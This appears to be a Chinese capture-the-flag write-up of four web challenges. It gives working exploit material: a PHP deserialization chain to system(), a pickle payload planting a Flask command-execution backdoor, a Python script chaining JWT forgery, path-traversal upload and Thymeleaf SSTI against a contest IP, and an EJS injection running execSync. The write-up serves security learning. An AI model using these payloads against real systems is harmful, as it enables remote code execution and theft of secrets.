羊城杯Web1345 wp 我想说什么,但是也不懂说什么,那就不说了
ez_unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 <?php error_reporting (0 );highlight_file (__FILE__ );class A { public $first ; public $step ; public $next ; public function __construct ( ) { $this ->first = "继续加油!" ; } public function start ( ) { echo $this ->next; } } class E { private $you ; public $found ; private $secret = "admin123" ; public function __get ($name ) { if ($name === "secret" ) { echo "<br>" .$name ." maybe is here!</br>" ; $this ->found->check (); } } } class F { public $fifth ; public $step ; public $finalstep ; public function check ( ) { if (preg_match ("/U/" ,$this ->finalstep)) { echo "仔细想想!" ; } else { $this ->step = new $this ->finalstep (); ($this ->step)(); } } } class H { public $who ; public $are ; public $you ; public function __construct ( ) { $this ->you = "nobody" ; } public function __destruct ( ) { $this ->who->start (); } } class N { public $congratulation ; public $yougotit ; public function __call (string $func_name , array $args ) { return call_user_func ($func_name ,$args [0 ]); } } class U { public $almost ; public $there ; public $cmd ; public function __construct ( ) { $this ->there = new N (); $this ->cmd = $_POST ['cmd' ]; } public function __invoke ( ) { return $this ->there->system ($this ->cmd); } } class V { public $good ; public $keep ; public $dowhat ; public $go ; public function __toString ( ) { $abc = $this ->dowhat; $this ->go->$abc ; return "<br>Win!!!</br>" ; } } unserialize ($_POST ['payload' ]);?>
首先能看见$this->there->system($this->cmd);
,那就说明U应该是作为链尾,而我们知道invoke是通过调用函数来触发的,那我们向上寻找,能发现$this->there = new N();
,那我们现在来看N,N中的__call()是通过调用不存在的函数来触发,同时注意到call_user_func($func_name,$args[0])
,配合一手$this->there = new N();
达到可以执行system(cmd)的效果
1 2 3 4 5 6 H::__destruct → A::start → V::__toString //当作字符串的时候触发 → E::__get() //通过访问不存在的 → F::check() //通过调用函数来触发 → U::__invoke() //通过调用函数 → system(cmd)
然后自己再写一下payload即可
(AI是可以一把梭的)
ez_blog 发现guest和guest可以直接登录(这他妈猜谜语是吧)
然后抓包发现cookie是十六进制编码过后的
这里打pic反序列化+内存马即可
1 2 3 4 5 6 7 8 9 import pickleimport osclass A (): def __reduce__ (self ): payload=r"""app.after_request_funcs.setdefault(None,[]).append(lambda resp: make_response(__import__('os').popen(request.args.get('cmd')).read()) if request.args.get('cmd') else resp)""" return (eval ,(payload,)) print (pickle.dumps(A()).hex ())
然后直接cmd=ls /
即可
webauth Springboot下的Thymeleaf全版本SSTI-CSDN博客
Thymeleaf SSTI漏洞分析-先知社区
Thymeleaf SSTI 模版注入 | X1ongSec
理论上AI也可以做出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 import jwtimport datetimeimport requestsimport reimport sysdef exploit (target_url ): print (f"[+] Target: {target_url} " ) secret = "25d55ad283aa400af464c76d713c07add57f21e6a273781dbf8b7657940f3b03" payload = { "sub" : "user1" , "iat" : datetime.datetime.utcnow(), "exp" : datetime.datetime.utcnow() + datetime.timedelta(hours=1 ) } try : token = jwt.encode(payload, secret, algorithm="HS256" ) if isinstance (token, bytes ): token = token.decode('utf-8' ) except Exception as e: print (f"[-] JWT encode failed: {e} " ) return None headers = {'Authorization' : f'Bearer {token} ' } print (f"[+] Generated JWT token (truncated): {token[:40 ]} ..." ) ssti_payload = '''<html xmlns:th="http://www.thymeleaf.org"> <body> <h2>Env</h2> <div th:each="entry : ${@environment.getSystemEnvironment().entrySet()}"> <p th:text="${entry.key + ' = ' + entry.value}"></p> </div> </body> </html>''' print ("[*] Uploading SSTI payload to templates directory..." ) files = {'imgFile' : ('payload.html' , ssti_payload)} data = {'imgName' : '../templates/dasctf_exploit' } try : r1 = requests.post( f'{target_url} /upload' , headers=headers, files=files, data=data, timeout=10 ) if r1.status_code == 200 and "success" in r1.text: print ("[+] Upload successful!" ) else : print (f"[-] Upload failed! Status: {r1.status_code} , Response: {r1.text} " ) return None except Exception as e: print (f"[-] Upload error: {e} " ) return None print ("[*] Triggering SSTI via dynamic template..." ) try : r2 = requests.get( f'{target_url} /login/dynamic-template?value=dasctf_exploit' , timeout=10 ) if r2.status_code != 200 : print (f"[-] SSTI trigger failed! Status: {r2.status_code} " ) return None print ("[+] SSTI executed successfully!" ) except Exception as e: print (f"[-] SSTI trigger error: {e} " ) return None content = r2.text flag_match = re.search(r'(DASCTF\{[^}]+\})' , content) if flag_match: flag = flag_match.group(1 ) print ("\n" + "=" *60 ) print (f"[!] FLAG FOUND: {flag} " ) print ("=" *60 ) return flag else : print ("[-] DASCTF{...} flag not found." ) env_matches = re.findall(r'<p>([^<]+)</p>' , content) if env_matches: print ("[*] Sample environment variables (first 5):" ) for env in env_matches[:5 ]: if "FLAG" in env or "CTF" in env or "secret" in env.lower(): print (f" >>> {env} " ) else : print (f" {env} " ) else : print ("[-] No environment variables extracted. Check response manually." ) print (f"Response preview:\n{content[:500 ]} " ) return None if __name__ == "__main__" : target = "http://45.40.247.139:23650" flag = exploit(target) if flag: print (f"\nSuccess! Submit your flag: {flag} " ) sys.exit(0 ) else : print ("\nFailed to retrieve flag." ) sys.exit(1 )
staticNodeService 首先看源码:(截取一些关键的)
app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 const express = require ('express' );const ejs = require ('ejs' );const fs = require ('fs' );const path = require ('path' );const app = express ();const PORT = parseInt (process.env .PORT ) || 3000 ;app.set ('view engine' , 'ejs' ); app.use (express.json ({ limit : '1mb' })); const STATIC_DIR = path.join (__dirname, '/' );function serveIndex (req, res ) { var templ = req.query .templ || 'index' ; var lsPath = path.join (__dirname, req.path ); try { res.render (templ, { filenames : fs.readdirSync (lsPath), path : req.path }); } catch (e) { console .log (e); res.status (500 ).send ('Error rendering page' ); } } app.use (express.static (STATIC_DIR )); app.use ((req, res, next ) => { if (typeof req.path !== 'string' || (typeof req.query .templ !== 'string' && typeof req.query .templ !== 'undefined' ) ) res.status (500 ).send ('Error parsing path' ); else if (/js$|\.\./i .test (req.path )) res.status (403 ).send ('Denied filename' ); else next (); }) app.use ((req, res, next ) => { if (req.path .endsWith ('/' )) serveIndex (req, res); else next (); }) app.put ('/*' , (req, res ) => { const filePath = path.join (STATIC_DIR , req.path ); if (fs.existsSync (filePath)) { return res.status (500 ).send ('File already exists' ); } fs.writeFile (filePath, Buffer .from (req.body .content , 'base64' ), (err ) => { if (err) { return res.status (500 ).send ('Error writing file' ); } res.status (201 ).send ('File created/updated' ); }); }); app.listen (PORT , () => { console .log (`Static server is running on http://localhost:${PORT} ` ); });
readflag.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #include <stdio.h> int main () { FILE *file; int c; file = fopen("/flag" , "r" ); while ((c = fgetc(file)) != EOF) { putchar (c); } fclose(file); return 0 ; }
dockerfile
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 FROM node:latestWORKDIR /App COPY App/ . COPY flag /flag COPY readflag.c /readflag.c COPY start.sh /start.sh RUN npm install RUN chown root:root /flag && chmod 400 /flag RUN gcc -o /readflag /readflag.c RUN chmod a+x /start.sh RUN rm /readflag.c RUN chmod u+s /readflag RUN chown -R node:node /App EXPOSE 3000 CMD [ "/bin/bash" , "/start.sh" ]
首先dockerfile和readflag.c这两个文件很明确的告诉我们了flag没有权限读取,但是可以直接使用/readflag
这个命令就可以读取,然后再看app.js,首先是个templ
1 2 3 4 5 6 7 8 9 10 11 12 13 function serveIndex (req, res ) { var templ = req.query .templ || 'index' ; var lsPath = path.join (__dirname, req.path ); try { res.render (templ, { filenames : fs.readdirSync (lsPath), path : req.path }); } catch (e) { console .log (e); res.status (500 ).send ('Error rendering page' ); } }
这里告诉我们可以使用?templ=xxx来渲染一个文件
然后看文件上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 app.put ('/*' , (req, res ) => { const filePath = path.join (STATIC_DIR , req.path ); if (fs.existsSync (filePath)) { return res.status (500 ).send ('File already exists' ); } fs.writeFile (filePath, Buffer .from (req.body .content , 'base64' ), (err ) => { if (err) { return res.status (500 ).send ('Error writing file' ); } res.status (201 ).send ('File created/updated' ); }); });
这边允许使用PUT方法上传文件,且文件内容需要base64编码,例如{"content":"b64encode()"}
然后文件名称直接在URL后面跟即可,比如PUT /views/eg.ejs
但是这里有WAF:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 app.use ((req, res, next ) => { if (typeof req.path !== 'string' || (typeof req.query .templ !== 'string' && typeof req.query .templ !== 'undefined' ) ) res.status (500 ).send ('Error parsing path' ); else if (/js$|\.\./i .test (req.path )) res.status (403 ).send ('Denied filename' ); else next (); }) app.use ((req, res, next ) => { if (req.path .endsWith ('/' )) serveIndex (req, res); else next (); })
可以看到过滤了js结尾和..这样子的目录穿越,但是可以使用/.
进行绕过,因为/.
表示当前目录,且在绝对路径中,/a/b/.
其实等效于/a/b
,不如直接写个POC:
1 2 3 4 5 6 7 8 const path = "/views/eg.ejs/." if (/js$|\.\./i .test (path)) console .log ("Not allowed" ) else console .log ("Allowed" )
这样我们就可以简单上传一个ejs文件上去了,但是问题来了,怎么调用/readflag?
[(11 封私信 / 80 条消息) ejs模板注入&js原型链污染(GKCTF 2021]easynode) - 知乎
Ejs模板引擎注入实现RCE-先知社区
很明显的是,当使用/views/?templ=eg.ejs
后,eg.ejs被解析,而ejs模板同FLASK和Bottle一样,同样存在SSTI
eg.ejs
1 2 3 4 5 6 7 8 9 10 11 12 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>SSTI</title> </head> <body> <ul> <%= process.mainModule.require('child_process').execSync('/readflag') %> </ul> </body> </html>
然后base64之后
1 2 3 4 5 PUT /views/eg.ejs/. Content-Type:application/json {"content":"base64..."}
然后访问GET /views/?templ=eg.ejs
即可得到flag